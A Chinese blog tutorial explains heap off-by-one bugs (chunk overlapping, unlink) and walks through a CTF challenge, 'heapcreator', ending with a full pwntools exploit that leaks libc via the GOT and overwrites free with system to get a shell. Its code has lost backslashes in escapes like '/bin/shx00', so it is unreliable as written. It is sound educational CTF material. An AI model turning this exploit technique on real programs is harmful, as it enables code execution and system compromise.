off-by-one介绍
off-by-one在缓冲区溢出中有时出现,CTF比赛中常出现在堆中,有时栈也会有off-by-one的漏洞,关于栈的off-by-one漏洞可以看一下https://www.anquanke.com/post/id/183873,作者写的关于栈的off-by-one利用很容易理解。
简介
堆利用中的off-by-one属于堆溢出(off-by-one也会出现在栈、bss上)的一种特殊情况,它只溢出一个字节,而正巧通过这溢出的一个字节即可完成下一个chunk header的修改。造成off-by-one的原因除了程序员设计时不严谨外还有错误使用函数。
产生原因
off-by-one常见的产生原因有两种:
1、程序循环时不小心多循环了一次,如我们只想程序循环输入16次,利用for循环正确的做法应该是for(int i=0;i<16;i++),而有时会写成for(int i;i<=16;i++)机会导致多输入一个字节,此时的输入可能是我们可控的任意字节。
2、在使用strlen()函数计算字符串长度时不会将'x00'计算在内,后边如果使用strcpy()函数复制字符串,strcpy()会使复制的字符串最后加上一个'x00',此时的输入为'x00',不可控但也能利用。
利用思路
产生原因中我们提到了两种溢出,第一种输入的字节可控,第二种不可控,如果输入可控我们可以直接对chunk的最低字节进行溢出修改完成chunk overlapping的目的,不可控我们也能利用chunk的size最低位代表前一个chunk是否正在使用的作用来触发unlink。
详细分类的话:
off-by-one overwrite allocated、off-by-one overwrite freed、null byte off-by-one能够利用chunk overlapping。
off-by-one small bin、off-by-one large bin能够利用unlink。
关于不可控的字节溢出为'x00'时要注意一点,因为chunk的内存分配问题,有时chunk分配内存时可能会因为堆字节对齐导致少分配一部分内存,缺少的内存用后面chunk的prev_size代替,这时的'x00'就无法覆盖下一个size的inuse位,也就无法伪造当前chunk释放的假象无法使用unlink。
off-by-one overwrite allocated
off-by-one overwrite allocated是像上图结构这样先申请3个chunk,chunk1是off-by-one产生的chunk,通过chunk1溢出chunk2的size,将chunk2的size大小改为chunk2_size+chunk3_sizie(注意不要使inuse为1,否则会因为chunk1触发unlink导致崩溃),然后free chunk2,这时因为chunk2的size被修改为chunk2和chunk3的size之和,再次申请一个size大小为chunk2和chunk3的size之和的chunk4,此时的chunk4正好包含chunk2和chunk3,这时我们同时控制了 两个chunk3。
off-by-one overwrite freed
off-by-one overwrite freed与off-by-one overwrite allocated步骤类似,也是通过chunk1修改chunk2的size完成控制chunk3的目的,在chunk2 free时被修改size后直接申请chunk4即可。
null byte off-by-one
off-by-one null byte较为复杂,它是通过chunk1修改chunk2的inuse位伪造chunk1被free的假象,然后申请不属于fast bin的chunk1-1和chunk1-2,此时的chunk1-1和chunk1-2都在之前的chunk1中,然后free chunk1,再申请和chunk1 size大小相同的chunk3,此时的chunk3就是之前的chunk1,现在chunk3和chunk1-2指向相同的内存区域。
off-by-one small bin
通过chunk1溢出的‘x00’将chunk2的inuse位修改,再修改chunk2的prev_size,然后提前在chunk1中布置好fake_chunk,free chunk2就会触发unlink。
off-by-one large bin
与off-by-one small bin类似。
off-by-one例题
这里我们拿buuctf上的一道堆题heapcreator说一下off-by-one的使用。
检查保护
没开PIE。
运行查看
简洁的菜单题,有创建,编辑,打印和删除的功能
程序分析
ida反汇编:
main函数:
main函数选择进入不同函数。
create函数:
程序自己创建的0x10大小的heaparray chunk指针保存用户创建的chunk指针和大小。
edit函数:
第19行那里存在off-by-one漏洞,可以溢出一个字节。
show函数:
可以打印输入的信息,用这个函数打印libc地址等。
delete函数:
先free用户自定义的chunk,再free程序自定义的0x10大小的chunk。
思路与利用:
上面就一个off-by-one的漏洞,因为堆的内存可以复用,那么我们在构造堆时就构造好能够跳过prev_size的堆直接溢出size。我们申请2个chunk,第一个chunk0大小为0x18(为了使堆的字节不对齐后面复用chunk1的prev_size覆盖chunk1的size),第二个chunk2大小为0x10。通过off-by-one覆盖chunk1的size导致chunk overlapping能够控制一个chunk的指针,再通过控制的chunk的指针泄露libc地址,得到后libc基址后得到system_got,再利用前面控制的那个chunk指针覆盖一个got执行system(“/bin/sh”)即可getshell。
具体步骤:
创建两个chunk并修改chunk1的size:
create(0x18,"aaaa") #chunk0
create(0x10,"bbbb") #chunk1
edit(0, "/bin/shx00" +"a"*0x10 + "x41")
写入的/bin/shx00后面我们可以直接使用。
正常创建没有溢出的chunk结构:
红色框内的是chunk0,蓝色框内的是chunk1,每个框内的第一个0x21都是程序自己创建的0x10大小保存用户创建chunk的chunk,正好复用的prev_size能够溢出下一个chunk的size。
这是溢出之后伪造的chunk结构:
伪造后chunk内存布局(这里我将''/bin/sh''替换成了aaaaaaaa)如上,这时free chunk1就能伪造从0x6032e0处开始的一个0x40大小的chunk,free chunk1后就会使用户定义的chunk1和程序自己定义的0x10大小的chunk重叠。
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))
free chunk1造成chunk overlapping后再申请一个0x30大小的chunk即可同时控制现在申请的chunk1和后面程序定义的chunk,新申请的chunk1从0x6032b0处开始,chunk1程序自定义的chunk从0x6032f0开始,这时我们就能控制0x603300处的指针了,之前已经将free_got的地址写入新创建的chunk1中了,后面泄露free_got地址。
这是重新申请后的chunk结构:
再通过新创建的chunk1打印free_got的地址:
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("n")[0].ljust(8,"x00"))
libc = free_addr - 0x83940
print "libc:",hex(libc)
system = libc + 0x45390
最后用system_got的地址覆盖free_got中的内容即可:
edit(1,p64(system))
delete(0)
p.interactive()
exp
from pwn import
from LibcSearcher import *
p=remote('node3.buuoj.cn',27304)
def create(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def edit(idx,content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(content)
def show(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
def delete(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))
free_got = 0x602018
create(0x18,"aaaa")
create(0x10,"bbbb")
edit(0, "/bin/shx00" +"a"*0x10 + "x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("n")[0].ljust(8,"x00"))
libc = free_addr - 0x83940
system = libc + 0x45390
edit(1,p64(system))
delete(0)
p.interactive()
ps:上面的def函数因为编辑问题没有对齐。
结语
堆题要多调试多构想,希望大佬能够斧正可能存在的错误及不足,谢谢。
参考:
https://ctf-wiki.org/pwn/linux/glibc-heap/off_by_one/
vulnhub: Momentum:1 介绍: momentum:1模拟了一台带有漏洞的web服务器,于四月份在vulnhub和hackmyvm上架,涉及到的漏洞点有:敏感信息泄露、redis配置疏漏导致的数据库远程登录等,学习一下相关漏洞,并在本文记录一下渗…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论